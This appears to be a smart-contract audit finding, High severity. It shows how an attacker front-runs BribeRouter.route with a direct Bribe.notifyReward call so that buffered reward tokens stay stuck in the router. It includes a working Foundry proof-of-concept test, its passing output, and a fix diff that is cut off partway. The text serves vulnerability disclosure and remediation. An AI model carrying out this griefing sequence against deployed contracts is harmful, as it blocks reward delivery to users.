Ran 1 test suite in 9.37ms (1.99ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/minimal/Poc.t.sol:Poc
[FAIL: RewardRateDecrease(1000, 1)] test_Poc() (gas: 464964)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger
```

---

# Direct notify can strand BribeRouter's buffered balance
**#303307**
- Severity: High
- Validity: Unreviewed
## Source locations
### `Uploaded archive/packages/contracts/src/core/BribeRouter.sol`
#### Lines 55-65 — _route() gates on live remainingReward, readable/manipulable by any direct notifyReward caller_

```
    function route() external returns (uint256 amount) {
        amount = paymentToken.balanceOf(address(this));
        if (amount == 0 || amount < bribe.REWARD_DURATION() || amount < bribe.remainingReward(address(paymentToken))) {
            return 0;
        }

        paymentToken.forceApprove(address(bribe), amount);
        bribe.notifyReward(address(paymentToken), amount);

        emit RewardRouted(address(bribe), address(paymentToken), amount);
    }
```
### `Uploaded archive/packages/contracts/src/core/Bribe.sol`
#### Lines 181-206 — _notifyReward is permissionless and changes remainingReward via a direct call bypassing the router_

```
    function notifyReward(address rewardToken, uint256 amount) external override nonReentrant {
        _requireRewardToken(rewardToken);
        if (amount < REWARD_DURATION) revert RewardBelowDuration(amount);

        uint256 notified = lifetimeRewardNotified[rewardToken];
        uint256 maximum = MAX_LIFETIME_REWARD_AMOUNT;
        if (amount > maximum - notified) {
            revert RewardLifetimeCapExceeded(rewardToken, notified, amount, maximum);
        }

        uint256 remaining = remainingReward(rewardToken);
        if (amount < remaining) revert RewardBelowRemaining(amount, remaining);

        _updateReward(address(0), rewardToken);
        IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), amount);

        RewardData storage data = rewardData[rewardToken];
        uint256 budget = amount + remaining + _rewardRemainder[rewardToken];
        data.rewardRate = budget / REWARD_DURATION;
        _rewardRemainder[rewardToken] = budget % REWARD_DURATION;
        data.lastUpdateTime = block.timestamp;
        data.periodFinish = block.timestamp + REWARD_DURATION;
        lifetimeRewardNotified[rewardToken] = notified + amount;

        emit RewardNotified(rewardToken, amount);
    }
```
## Description

`BribeRouter.route` is permissionless and only proceeds when its complete payment-token balance is at least `bribe.remainingReward(paymentToken)`. `Bribe.notifyReward` is independently permissionless and callable by anyone directly (not just via the router), and any such direct call immediately raises `remainingReward` by restarting the stream with a fresh `periodFinish` and `rewardRate`. An attacker observing a pending `route()` call (or simply pre-empting it) can front-run with a minimal direct `notifyReward` call that bumps `remainingReward` above the router's current buffered balance, causing `route()` to return 0 without changing state and leaving the buffered tokens stuck in the router until either more funds accumulate or the new stream decays enough.
## Root cause

`BribeRouter.route`'s qualification check reads `bribe.remainingReward` at call time with no reservation or synchronization against concurrent direct `notifyReward` calls, and `Bribe.notifyReward` accepts calls from any address, including non-router callers, allowing third parties to manipulate the gate the router depends on.
## Impact

An attacker can repeatedly desynchronize the router's gating condition from the Bribe's live remaining-reward threshold, delaying automatic bribe routing for a strategy's auction proceeds indefinitely at the cost of only `REWARD_DURATION`-sized deposits (which are not lost, just redirected into the Bribe's own schedule). This is a repeatable liveness/griefing issue on the permissionless reward-funding path rather than a fund-theft vector.
## Proof of concept
### Test case

```
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.26;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Test } from "forge-std/Test.sol";

import { Bribe } from "../../src/core/Bribe.sol";
import { BribeRouter } from "../../src/core/BribeRouter.sol";
import { IBribe } from "../../src/core/interfaces/IBribe.sol";
import { MockERC20 } from "./utils/Tokens.sol";

/// @notice PoC: a permissionless direct Bribe.notifyReward call can raise BribeRouter.route's live
/// remainingReward gate above the router's already-qualifying buffered balance, so route returns 0
/// and leaves the strategy bribe proceeds buffered in the router.
contract Poc is Test {
    address internal constant SPONSOR = address(0x5000500);
    address internal constant ATTACKER = address(0xA77A);
    address internal constant KEEPER = address(0x9EE9E5);

    MockERC20 internal payment;
    Bribe internal bribe;
    BribeRouter internal router;

    function setUp() external {
        vm.warp(365 days);
        payment = new MockERC20("Payment", "PAY", 18);

        // The PoC contract is a deployed contract and acts as the authorized Resonance only to
        // register the reward token. The exploit itself uses public Bribe/BribeRouter entry points.
        bribe = new Bribe(address(this));
        bribe.addRewardToken(address(payment));
        router = new BribeRouter(IBribe(address(bribe)), IERC20(address(payment)));
    }

    function test_Poc() external {
        uint256 duration = bribe.REWARD_DURATION();

        // A live bribe stream exists with exactly one REWARD_DURATION-sized payment token budget left.
        payment.mint(SPONSOR, duration);
        vm.startPrank(SPONSOR);
        payment.approve(address(bribe), duration);
        bribe.notifyReward(address(payment), duration);
        vm.stopPrank();
        assertEq(bribe.remainingReward(address(payment)), duration, "initial remaining reward");

        // Strategy auction proceeds have accumulated in the paired router. Before the attacker acts,
        // the same public route() call would successfully deliver the complete buffer to Bribe.
        payment.mint(address(router), duration);
        assertEq(payment.balanceOf(address(router)), duration, "router buffer before attack");
        uint256 snapshot = vm.snapshotState();
        vm.prank(KEEPER);
        assertEq(router.route(), duration, "route would have succeeded without direct notify");
        assertEq(payment.balanceOf(address(router)), 0, "counterfactual route drains router");
        assertTrue(vm.revertToState(snapshot), "restore pre-attack state");

        // The attacker front-runs with a direct permissionless notifyReward. Because notifyReward
        // folds the current remaining reward into a freshly restarted stream, one duration-sized
        // attacker deposit doubles remainingReward above the router's buffered balance.
        payment.mint(ATTACKER, duration);
        vm.startPrank(ATTACKER);
        payment.approve(address(bribe), duration);
        bribe.notifyReward(address(payment), duration);
        vm.stopPrank();
        assertGt(
            bribe.remainingReward(address(payment)),
            payment.balanceOf(address(router)),
            "attacker raised the live gate above the router balance"
        );

        // The real vulnerable route() now returns 0 and leaves all buffered strategy proceeds stuck
        // in the router instead of moving them into Bribe's reward stream.
        vm.prank(KEEPER);
        assertEq(router.route(), 0, "route blocked by attacker-raised remainingReward");
        assertEq(payment.balanceOf(address(router)), duration, "buffer stranded in router");
        assertEq(payment.balanceOf(address(bribe)), 2 * duration, "router funds were not routed");
        assertEq(bribe.lifetimeRewardNotified(address(payment)), 2 * duration, "only direct notifies counted");

        // The grief is repeatable: once enough of the restarted stream decays for the same router
        // buffer to qualify again, another direct notify restores the higher threshold and blocks route().
        vm.warp(block.timestamp + duration / 2);
        assertEq(bribe.remainingReward(address(payment)), duration, "decay makes router eligible again");
        payment.mint(ATTACKER, duration);
        vm.startPrank(ATTACKER);
        payment.approve(address(bribe), duration);
        bribe.notifyReward(address(payment), duration);
        vm.stopPrank();
        assertGt(bribe.remainingReward(address(payment)), payment.balanceOf(address(router)), "gate raised again");

        vm.prank(KEEPER);
        assertEq(router.route(), 0, "route blocked again");
        assertEq(payment.balanceOf(address(router)), duration, "same buffer still stranded after repeat");
        assertEq(bribe.lifetimeRewardNotified(address(payment)), 3 * duration, "repeat attack used direct notify");
    }
}
```
### Setup script

```
#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   packages/contracts/test/minimal/Poc.t.sol

# build and run
cd 'packages/contracts'
forge build
forge test --match-path test/minimal/Poc.t.sol -vv
```
### Output

```
[output truncated: 1182 lines & 64.1318359375 KB skipped]
[test] forge test --match-path test/minimal/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/minimal/Poc.t.sol:Poc
[PASS] test_Poc() (gas: 948530)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.69ms (7.64ms CPU time)

Ran 1 test suite in 10.51ms (8.69ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```
### Considerations

PoC uses a standalone real Bribe/BribeRouter pair with MockERC20 rather than a full Launchpad-deployed strategy; the test contract only acts as Resonance during setup to register the payment token. The exploit path itself uses only public Bribe.notifyReward and BribeRouter.route calls, and the passing run demonstrates route would have succeeded before the attacker notify but returns 0 afterward while the router balance remains buffered. Verified with `forge test --match-path test/minimal/Poc.t.sol -vv` via `run_poc` (1 passed).
### Validation reasoning

PoC validation command completed successfully.
## Remediation
### Explanation

Registers each BribeRouter atomically with its Bribe and exempts only that canonical router from the direct-sponsor remaining-reward gate; route now forwards any duration-sized buffer, so a front-running direct notify cannot strand it while ordinary direct notifications retain existing admission rules.
### Patch

```diff
diff --git a/packages/contracts/src/core/interfaces/IBribe.sol b/packages/contracts/src/core/interfaces/IBribe.sol
--- a/packages/contracts/src/core/interfaces/IBribe.sol
+++ b/packages/contracts/src/core/interfaces/IBribe.sol
@@ -1,30 +1,35 @@
 // SPDX-License-Identifier: GPL-3.0-or-later
 pragma solidity 0.8.26;
 
 /// @title Glazecorp Multi-Token Reward Interface
 /// @author heesho
 /// @notice Exposes the reward-stream operations required by an Auction's automatic Bribe funding path.
 /// @dev BribeRouter uses this minimal surface to determine when its complete payment-token balance qualifies for a
 ///      seven-day notification. Bribe pulls standard ERC-20 tokens, rolls remaining scheduled rewards and saved
 ///      rate-division remainders into the next stream, and rejects funding below its thresholds.
 interface IBribe {
+    /// @notice Permanently binds the caller as the automatic router for a registered reward token.
+    /// @dev The caller must invoke this while its runtime code is not yet deployed.
+    /// @param rewardToken Registered reward token routed by the caller.
+    function registerRewardRouter(address rewardToken) external;
+
     /// @notice Pulls fresh funding from the caller and starts or restarts a registered token's reward stream.
     /// @dev Combines fresh `amount`, remaining scheduled rewards, and the saved rate-division remainder. The whole-unit
     ///      rate rounds down over `REWARD_DURATION`, saving a new remainder for the next qualifying stream's signalers.
     ///      It stays pending if no further funding qualifies. Fresh funding must meet the duration and remaining-reward
     ///      thresholds and fit the lifetime cap; only fresh funding increases that counter.
     /// @param rewardToken Registered standard ERC-20 token to pull and stream.
     /// @param amount Fresh raw token units pulled from the caller.
     function notifyReward(address rewardToken, uint256 amount) external;
 
     /// @notice Returns the fixed duration assigned to each reward stream.
     /// @return duration Reward duration in seconds; the production implementation returns seven days.
     function REWARD_DURATION() external view returns (uint256 duration);
 
     /// @notice Returns raw token units still scheduled in a token's active reward stream.
     /// @dev The value is zero after the period finishes and excludes already elapsed rewards, direct donations, and
     ///      the saved rate-division remainder.
     /// @param rewardToken Reward token whose active stream is queried.
     /// @return amount Raw token units remaining at the stored whole-unit-per-second rate.
     function remainingReward(address rewardToken) external view returns (uint256 amount);
 }

diff --git a/packages/contracts/src/core/Bribe.sol b/packages/contracts/src/core/Bribe.sol
--- a/packages/contracts/src/core/Bribe.sol
+++ b/packages/contracts/src/core/Bribe.sol
@@ -1,367 +1,397 @@
 // SPDX-License-Identifier: GPL-3.0-or-later
 pragma solidity 0.8.26;
 
 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
 import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
 import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
 
 import { IBribe } from "./interfaces/IBribe.sol";
 
 /// @title Glazecorp Multi-Token Strategy Reward Stream
 /// @author heesho
 /// @notice Streams up to sixteen registered reward tokens to accounts signaling this Bribe's Strategy.
 /// @dev Resonance is the sole writer of virtual signal weights and the append-only token registry. Each token uses an
 ///      independent Synthetix-style seven-day stream and a cumulative reward-per-signal index scaled by `1e36`.
 ///      Saved rate-division remainders join the next qualifying stream. Index and account rounding leaves unallocated
 ///      contract surplus.
 ///      Time still elapses when total signal weight is zero, so rewards emitted during that interval are likewise
 ///      unclaimable. Killing the Strategy does not stop Bribe streams or remove its recorded weights: existing
 ///      positions keep earning until moved or withdrawn. Claims are authorized for the beneficiary or immutable
 ///      Resonance, notifications remain permissionless, and Resonance may still register rewards. Reward transfers
 ///      assume standard, non-rebasing ERC-20 behavior.
 contract Bribe is ReentrancyGuard, IBribe {
     using SafeERC20 for IERC20;
 
     /// @notice Scheduling and cumulative-index state for one registered reward token.
     /// @param periodFinish Unix timestamp at which the current stream stops accruing.
     /// @param rewardRate Whole raw token units scheduled per second for the current stream.
     /// @param lastUpdateTime Unix timestamp through which `rewardPerSignalStored` has been checkpointed.
     /// @param rewardPerSignalStored Cumulative raw-token reward per signal unit, scaled by `REWARD_PRECISION`.
     struct RewardData {
         uint256 periodFinish;
         uint256 rewardRate;
         uint256 lastUpdateTime;
         uint256 rewardPerSignalStored;
     }
 
     /// @notice Fixed duration of each reward stream, in seconds.
     uint256 public constant override REWARD_DURATION = 7 days;
     /// @notice Fixed-point scale used by cumulative reward-per-signal accounting.
     uint256 public constant REWARD_PRECISION = 1e36;
     /// @notice Maximum cumulative raw units accepted for one reward token over this Bribe's lifetime.
     /// @dev Equal to `floor(type(uint256).max / REWARD_PRECISION)` and checked before stream state or custody changes.
     uint256 public constant MAX_LIFETIME_REWARD_AMOUNT = type(uint256).max / REWARD_PRECISION;
     /// @notice Maximum number of registered reward tokens and iterations in mandatory all-token loops.
     uint256 public constant MAX_REWARD_TOKENS = 16;
 
     /// @notice Immutable Resonance authorized to maintain signal weights and register reward tokens.
     address public immutable resonance;
 
     /// @notice Total raw signal weight assigned to this Bribe's Strategy.
     uint256 public totalSignalWeight;
     /// @notice An account's raw signal weight assigned to this Bribe's Strategy.
     mapping(address account => uint256 weight) public signalWeightOf;
 
     address[] private _rewardTokens;
     /// @notice Whether a token belongs to the append-only reward-token registry.
     mapping(address token => bool isReward) public isRewardToken;
     /// @notice Current stream timestamps, raw-unit rate, and scaled index for a reward token.
     /// @dev Unregistered tokens return an all-zero `RewardData` value.
     mapping(address token => RewardData data) public rewardData;
+    /// @notice Automatic BribeRouter allowed to notify a token without the public remaining-reward admission gate.
+    mapping(address token => address router) public rewardRouter;
     /// @notice Scaled cumulative index already incorporated for an account and reward token.
     mapping(address account => mapping(address token => uint256 paid)) public accountRewardPerSignalPaid;
     /// @notice An account's checkpointed, unclaimed reward in raw token units.
     /// @dev This excludes reward accrued since the account's latest checkpoint; use `earned` for the live amount.
     mapping(address account => mapping(address token => uint256 amount)) public rewards;
     /// @notice Cumulative raw units accepted through notifications for a reward token.
     /// @dev Counts fresh funding once and never resets. Excludes donations, remaining scheduled rewards,
     ///      and saved remainders.
     mapping(address token => uint256 amount) public lifetimeRewardNotified;
 
     /// @dev Saved rate-division remainder for this token's next qualifying stream; always below `REWARD_DURATION`.
     mapping(address token => uint256 amount) private _rewardRemainder;
 
     /// @notice Emitted when Resonance appends a token to the reward registry.
     /// @param rewardToken Token that became eligible for funding and streaming.
     event RewardTokenAdded(address indexed rewardToken);
+    /// @notice Emitted when a token's automatic BribeRouter is permanently bound.
+    /// @param rewardToken Registered token routed by the bound contract.
+    /// @param router Bound automatic BribeRouter.
+    event RewardRouterRegistered(address indexed rewardToken, address indexed router);
     /// @notice Emitted when a caller funds and restarts a registered token's seven-day stream.
     /// @param rewardToken Registered token pulled from the caller.
     /// @param amount Fresh raw token units pulled, excluding remaining scheduled rewards and the saved remainder.
     event RewardNotified(address indexed rewardToken, uint256 amount);
     /// @notice Emitted when one account's checkpointed reward is paid.
     /// @param account Account that receives the token transfer regardless of who initiated the claim.
     /// @param rewardToken Registered token paid to `account`.
     /// @param amount Raw token units transferred.
     event RewardPaid(address indexed account, address indexed rewardToken, uint256 amount);
     /// @notice Emitted when Resonance adds signal weight for an account.
     /// @param account Account whose weight in the paired Auction increased.
     /// @param amount Raw signal units added.
     event SignalWeightAdded(address indexed account, uint256 amount);
     /// @notice Emitted when Resonance removes signal weight for an account.
     /// @param account Account whose weight in the paired Auction decreased.
     /// @param amount Raw signal units removed.
     event SignalWeightRemoved(address indexed account, uint256 amount);
 
     /// @notice Raised when an operation requires a registered reward token but receives an unregistered address.
     /// @param token Address that is absent from the append-only registry.
     error NotRewardToken(address token);
     /// @notice Raised when a signal-weight or token-registry mutation does not originate from Resonance.
     /// @param caller Unauthorized caller.
     error NotResonance(address caller);
     /// @notice Raised when a notification contains fewer raw units than the stream duration in seconds.
     /// @param amount Requested fresh notification amount in raw token units.
     error RewardBelowDuration(uint256 amount);
     /// @notice Raised when fresh funding is smaller than the scheduled reward remaining in the active stream.
     /// @param amount Requested fresh notification amount in raw token units.
     /// @param remaining Raw token units still scheduled at the current whole-unit rate.
     error RewardBelowRemaining(uint256 amount, uint256 remaining);
     /// @notice Raised when a notification would exceed the token's lifetime admission cap.
     /// @param token Registered reward token whose cap would be exceeded.
     /// @param notified Cumulative raw units previously accepted for `token`.
     /// @param requested Fresh raw units requested in this notification.
     /// @param maximum Maximum cumulative raw units the token may ever notify.
     error RewardLifetimeCapExceeded(address token, uint256 notified, uint256 requested, uint256 maximum);
     /// @notice Raised when Resonance attempts to register a token after the registry reaches its immutable limit.
     /// @param maximum Maximum number of tokens the registry accepts.
     error RewardTokenLimitReached(uint256 maximum);
     /// @notice Raised when Resonance attempts to append a token that is already registered.
     /// @param token Already-registered reward token.
     error RewardAlreadyAdded(address token);
+    /// @notice Raised when an automatic router has already been bound for a reward token.
+    /// @param token Reward token whose router is already fixed.
+    /// @param router Permanently bound router.
+    error RewardRouterAlreadyRegistered(address token, address router);
+    /// @notice Raised when router registration is attempted by an already-deployed contract.
+    /// @param caller Invalid registration caller.
+    error InvalidRewardRouter(address caller);
     /// @notice Raised when a caller other than the beneficiary or immutable Resonance attempts to claim rewards.
     /// @param caller Unauthorized claim initiator.
     /// @param account Beneficiary whose rewards the caller attempted to checkpoint and claim.
     error UnauthorizedClaimCaller(address caller, address account);
     /// @notice Raised when an account is zero or a required contract dependency or reward token has no deployed code.
     error ZeroAddress();
     /// @notice Raised when Resonance attempts to add or remove zero signal weight.
     error ZeroAmount();
 
     /// @notice Restricts signal-weight and reward-token registry mutations to the immutable Resonance.
     modifier onlyResonance() {
         if (msg.sender != resonance) revert NotResonance(msg.sender);
         _;
     }
 
     /// @notice Creates an empty, bounded reward stream controlled by one Resonance contract.
     /// @dev Requires a nonzero, deployed Resonance contract.
     /// @param resonance_ Resonance exclusively authorized to maintain signal weights and register reward tokens.
     constructor(address resonance_) {
         if (resonance_ == address(0) || resonance_.code.length == 0) revert ZeroAddress();
         resonance = resonance_;
     }
 
     /// @notice Checkpoints and pays every registered reward token earned by `account` directly to that account.
     /// @dev Callable only by `account` or Resonance. The loop is bounded by `MAX_REWARD_TOKENS`. A failed transfer
     ///      reverts the complete claim; `claimReward` allows a healthy token to be claimed separately.
     /// @param account Account whose accrued raw-token rewards are checkpointed and paid; cannot be zero.
     function claimRewards(address account) external nonReentrant {
         if (account == address(0)) revert ZeroAddress();
         _requireClaimAuthorization(account);
         _updateAllRewards(account);
 
         uint256 count = _rewardTokens.length;
         for (uint256 i; i < count; ++i) {
             _claim(account, _rewardTokens[i]);
         }
     }
 
     /// @notice Checkpoints and pays one registered reward token earned by `account` directly to that account.
     /// @dev Callable only by `account` or Resonance. Leaves other tokens unchanged. A failed transfer reverts the
     ///      checkpoint and claim reset, preserving the unpaid reward.
     /// @param account Account whose reward is checkpointed and paid; cannot be zero.
     /// @param rewardToken Registered token to checkpoint and pay.
     /// @return amount Raw token units transferred, or zero when the account has no whole-unit reward.
     function claimReward(address account, address rewardToken) external nonReentrant returns (uint256 amount) {
         if (account == address(0)) revert ZeroAddress();
         _requireClaimAuthorization(account);
         _requireRewardToken(rewardToken);
         _updateReward(account, rewardToken);
         amount = _claim(account, rewardToken);
     }
 
+    /// @notice Permanently binds the caller as the automatic router for one registered reward token.
+    /// @dev The router calls during construction, when `msg.sender.code.length == 0`; EOAs are excluded by requiring
+    ///      `tx.origin != msg.sender`. The one-time binding lets only the canonical buffer bypass the public
+    ///      remaining-reward admission gate that direct sponsors can otherwise manipulate.
+    /// @param rewardToken Registered reward token routed by the caller.
+    function registerRewardRouter(address rewardToken) external override {
+        _requireRewardToken(rewardToken);
+        address current = rewardRouter[rewardToken];
+        if (current != address(0)) revert RewardRouterAlreadyRegistered(rewardToken, current);
+        if (msg.sender == tx.origin || msg.sender.code.length != 0) revert InvalidRewardRouter(msg.sender);
+
+        rewardRouter[rewardToken] = msg.sender;
+        emit RewardRouterRegistered(rewardToken, msg.sender);
+    }
+
     /// @notice Pulls fresh funding from the caller and restarts a registered token's seven-day reward stream.
     /// @dev Permissionless. Fresh `amount` must meet `REWARD_DURATION` and `remainingReward` and fit the lifetime cap.
     ///      These checks precede checkpointing and transfer. The new budget combines fresh funding, remaining scheduled
     ///      rewards, and the saved rate-division remainder. Division by `REWARD_DURATION` sets the whole-unit rate and
     ///      saves a new remainder for the next qualifying stream's signalers. The remainder stays pending if no further
     ///      funding qualifies. The period restarts; only fresh deposits increase the lifetime counter.
     /// @param rewardToken Registered standard ERC-20 token to pull and stream.
     /// @param amount Fresh raw token units pulled from the caller and counted toward the lifetime cap.
     function notifyReward(address rewardToken, uint256 amount) external override nonReentrant {
         _requireRewardToken(rewardToken);
         if (amount < REWARD_DURATION) revert RewardBelowDuration(amount);
 
         uint256 notified = lifetimeRewardNotified[rewardToken];
         uint256 maximum = MAX_LIFETIME_REWARD_AMOUNT;
         if (amount > maximum - notified) {
             revert RewardLifetimeCapExceeded(rewardToken, notified, amount, maximum);
         }
 
         uint256 remaining = remainingReward(rewardToken);
-        if (amount < remaining) revert RewardBelowRemaining(amount, remaining);
+        if (msg.sender != rewardRouter[rewardToken] && amount < remaining) {
+            revert RewardBelowRemaining(amount, remaining);
+        }
 
         _updateReward(address(0), rewardToken);
         IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), amount);
 
         RewardData storage data = rewardData[rewardToken];
         uint256 budget = amount + remaining + _rewardRemainder[rewardToken];
         data.rewardRate = budget / REWARD_DURATION;
         _rewardRemainder[rewardToken] = budget % REWARD_DURATION;
         data.lastUpdateTime = block.timestamp;
         data.periodFinish = block.timestamp + REWARD_DURATION;
         lifetimeRewardNotified[rewardToken] = notified + amount;
 
         emit RewardNotified(rewardToken, amount);
     }
 
     /// @notice Adds signal weight for `account` after checkpointing every registered reward under the prior weights.
     /// @dev Callable only by Resonance. The checkpoint loop is bounded by `MAX_REWARD_TOKENS`.
     /// @param account Nonzero account whose paired-Auction signal weight increases.
     /// @param amount Nonzero raw signal units added to both the account weight and total weight.
     function addSignalWeight(address account, uint256 amount) external onlyResonance {
         if (amount == 0) revert ZeroAmount();
         if (account == address(0)) revert ZeroAddress();
 
         _updateAllRewards(account);
         totalSignalWeight += amount;
         signalWeightOf[account] += amount;
 
         emit SignalWeightAdded(account, amount);
     }
 
     /// @notice Removes signal weight for `account` after checkpointing every registered reward under the prior weights.
     /// @dev Callable only by Resonance. Removing more than the account or total weight reverts by checked arithmetic.
     /// @param account Nonzero account whose paired-Auction signal weight decreases.
     /// @param amount Nonzero raw signal units removed from both the account weight and total weight.
     function removeSignalWeight(address account, uint256 amount) external onlyResonance {
         if (amount == 0) revert ZeroAmount();
         if (account == address(0)) revert ZeroAddress();
 
         _updateAllRewards(account);
         totalSignalWeight -= amount;
         signalWeightOf[account] -= amount;
 
         emit SignalWeightRemoved(account, amount);
     }
 
     /// @notice Appends a reward token to this Bribe's permanent registry.
     /// @dev Callable only by Resonance. The token must be a unique, nonzero contract and the resulting registry length
     ///      cannot exceed `MAX_REWARD_TOKENS`. Registration does not fund or start a stream.
     /// @param rewardToken ERC-20 contract address to register.
     function addRewardToken(address rewardToken) external onlyResonance {
         if (rewardToken == address(0) || rewardToken.code.length == 0) revert ZeroAddress();
         if (isRewardToken[rewardToken]) revert RewardAlreadyAdded(rewardToken);
         if (_rewardTokens.length == MAX_REWARD_TOKENS) revert RewardTokenLimitReached(MAX_REWARD_TOKENS);
 
         isRewardToken[rewardToken] = true;
         _rewardTokens.push(rewardToken);
 
         emit RewardTokenAdded(rewardToken);
     }
 
     /// @notice Returns registered reward-token addresses in insertion order.
     /// @return tokens Copy of the append-only registry, containing at most `MAX_REWARD_TOKENS` entries.
     function rewardTokens() external view returns (address[] memory tokens) {
         return _rewardTokens;
     }
 
     /// @notice Returns the raw token units still scheduled in a reward token's active stream.
     /// @dev Computes `(periodFinish - block.timestamp) * rewardRate` while active and zero afterward. The result
     ///      excludes elapsed rewards, direct donations, and the saved rate-division remainder. Unregistered tokens
     ///      return zero.
     /// @param rewardToken Reward token whose current stream is queried.
     /// @return amount Raw token units remaining at the stored whole-unit-per-second rate.
     function remainingReward(address rewardToken) public view override returns (uint256 amount) {
         RewardData storage data = rewardData[rewardToken];
         if (block.timestamp >= data.periodFinish) return 0;
         return (data.periodFinish - block.timestamp) * data.rewardRate;
     }
 
     /// @notice Returns the live cumulative reward allocated per raw signal unit for one reward token.
     /// @dev The result is scaled by `REWARD_PRECISION` and each index increment rounds down. Accrual stops at
     ///      `periodFinish`. If total signal weight is zero, the index remains unchanged and elapsed rewards cannot be
     ///      captured by accounts that add weight later.
     /// @param rewardToken Reward token whose cumulative index is queried; unregistered tokens return zero.
     /// @return accumulatedReward Cumulative reward-per-signal index scaled by `REWARD_PRECISION`.
     function rewardPerSignal(address rewardToken) public view returns (uint256 accumulatedReward) {
         RewardData storage data = rewardData[rewardToken];
         uint256 signalWeight = totalSignalWeight;
         if (signalWeight == 0) return data.rewardPerSignalStored;
 
         uint256 elapsed = _lastApplicableRewardTime(rewardToken) - data.lastUpdateTime;
         return data.rewardPerSignalStored + Math.mulDiv(elapsed * data.rewardRate, REWARD_PRECISION, signalWeight);
     }
 
     /// @notice Returns one account's checkpointed plus pending reward for one token in whole raw units.
     /// @dev Uses the live index and rounds down. Unregistered reward tokens return zero.
     /// @param account Account whose entitlement is queried.
     /// @param rewardToken Reward token whose entitlement is queried.
     /// @return amount Raw token units currently payable after checkpointing.
     function earned(address account, address rewardToken) public view returns (uint256 amount) {
         uint256 rewardDelta = rewardPerSignal(rewardToken) - accountRewardPerSignalPaid[account][rewardToken];
         return rewards[account][rewardToken] + Math.mulDiv(signalWeightOf[account], rewardDelta, REWARD_PRECISION);
     }
 
     /// @dev Persists every registered token's index and time checkpoint, then checkpoints `account` under its current
     ///      signal weight when `account` is nonzero. The loop is bounded by `MAX_REWARD_TOKENS`.
     /// @param account Account to checkpoint, or the zero address to update only global stream state.
     function _updateAllRewards(address account) private {
         uint256 count = _rewardTokens.length;
         for (uint256 i; i < count; ++i) {
             _updateReward(account, _rewardTokens[i]);
         }
     }
 
     /// @dev Persists one stream's live cumulative index and applicable timestamp. For a nonzero `account`, converts
     ///      its index delta at its current signal weight into whole raw-token rewards, rounded down, before recording
     ///      the new paid index.
     /// @param account Account to checkpoint, or the zero address to update only global stream state.
     /// @param rewardToken Reward token whose stream and optional account entitlement are checkpointed.
     function _updateReward(address account, address rewardToken) private {
         RewardData storage data = rewardData[rewardToken];
         uint256 current = rewardPerSignal(rewardToken);
         data.rewardPerSignalStored = current;
         data.lastUpdateTime = _lastApplicableRewardTime(rewardToken);
 
         if (account != address(0)) {
             uint256 rewardDelta = current - accountRewardPerSignalPaid[account][rewardToken];
             rewards[account][rewardToken] += Math.mulDiv(signalWeightOf[account], rewardDelta, REWARD_PRECISION);
             accountRewardPerSignalPaid[account][rewardToken] = current;
         }
     }
 
     /// @dev Clears and transfers one account's checkpointed whole-unit reward using checks-effects-interactions.
     /// @param account Entitled transfer recipient.
     /// @param rewardToken Reward token to transfer.
     /// @return amount Raw token units transferred, or zero when no checkpointed reward exists.
     function _claim(address account, address rewardToken) private returns (uint256 amount) {
         amount = rewards[account][rewardToken];
         if (amount == 0) return 0;
 
         rewards[account][rewardToken] = 0;
         IERC20(rewardToken).safeTransfer(account, amount);
 
         emit RewardPaid(account, rewardToken, amount);
     }
 
     /// @dev Reverts unless the caller is `account` or this Bribe's immutable Resonance.
     ///      Restricts who can advance account checkpoints and discard fractional entitlement.
     /// @param account Reward beneficiary whose checkpoint may be advanced.
     function _requireClaimAuthorization(address account) private view {
         if (msg.sender != account && msg.sender != resonance) {
             revert UnauthorizedClaimCaller(msg.sender, account);
         }
     }
 
     /// @dev Reverts with `NotRewardToken` unless `rewardToken` is in the append-only registry.
     /// @param rewardToken Token address to validate.
     function _requireRewardToken(address rewardToken) private view {
         if (!isRewardToken[rewardToken]) revert NotRewardToken(rewardToken);
     }
 
     /// @dev Caps reward accrual at the stream's `periodFinish` timestamp.
     /// @param rewardToken Reward token whose stream boundary is queried.
     /// @return timestamp Earlier of the current Unix timestamp and the token's `periodFinish`.
     function _lastApplicableRewardTime(address rewardToken) private view returns (uint256 timestamp) {
         return Math.min(block.timestamp, rewardData[rewardToken].periodFinish);
     }
 }
 
 // Upstream provenance (Bribe): the stream timing, active-period rollover, cumulative-index, earned, and
 // checkpoint-before-weight-change mechanics are adapted from Curve MultiRewards commit
 // 99995f90bd129bbe6b5a995daf6233fb79789e4e.
 // Source repository: https://github.com/curvefi/multi-rewards
 // Source path: contracts/MultiRewards.sol at commit 99995f90bd129bbe6b5a995daf6233fb79789e4e.
 // Deviations from that kernel must be assessed independently. No upstream audit, endorsement, or security assurance
 // for this contract is implied.

diff --git a/packages/contracts/src/core/BribeRouter.sol b/packages/contracts/src/core/BribeRouter.sol
--- a/packages/contracts/src/core/BribeRouter.sol
+++ b/packages/contracts/src/core/BribeRouter.sol
@@ -1,66 +1,68 @@
 // SPDX-License-Identifier: GPL-3.0-or-later
 pragma solidity 0.8.26;
 
 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
 
 import { IBribe } from "./interfaces/IBribe.sol";
 
 /// @title Glazecorp Bribe Reward Router
 /// @author heesho
 /// @notice Buffers one Auction's payment-token Bribe share until its reward stream can accept it.
 /// @dev The Auction performs the Fund/Bribe split and transfers only the Bribe share here. Any account may attempt to
